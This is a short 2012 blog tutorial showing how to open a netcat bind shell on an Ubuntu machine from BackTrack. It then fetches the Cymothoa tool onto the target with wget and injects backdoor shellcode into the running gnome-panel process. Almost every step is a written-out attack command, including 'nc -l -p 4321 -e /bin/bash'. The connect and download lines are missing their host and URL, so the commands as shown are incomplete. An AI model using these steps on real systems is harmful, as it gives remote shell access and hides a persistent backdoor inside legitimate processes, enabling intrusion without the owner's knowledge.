Wednesday, February 1, 2012

Injecting Cymothoa to Ubuntu using Netcat

So, in my other post we've been learned how to inject cymothoa to ubuntu using the web server to transfer the cymothoa. In this post I'll try to explain how to transfer and injecting cymothoa using Netcat.

Okay, lets get started.

1. Start up your ubuntu.

2. Start the nc server on the ubuntu
# nc -l -p 4321 -e /bin/bash

3. Connect to the nc server using backtrack
# nc 4321

4. Test if the connection is working in backtrack
# ls

5. Lets transfer cymothoa to ubuntu
Because I have copied cymothoa to /var/www then in ubuntu i just execute this command to download cymothoa.
# wget

6. See the process running.
# ps -ax

7. Choose what process will be injected with cymothoa. In this example I'll chose gnome-panel with a PID 1155 to be injected.
8. Execute the command in backtrack
# ./cymothoa -p 1155 -s 0 -y 5678

Ok, mission accomplished. Process Injected..   

"the quieter you become, the more you are able to hear.."


Post a Comment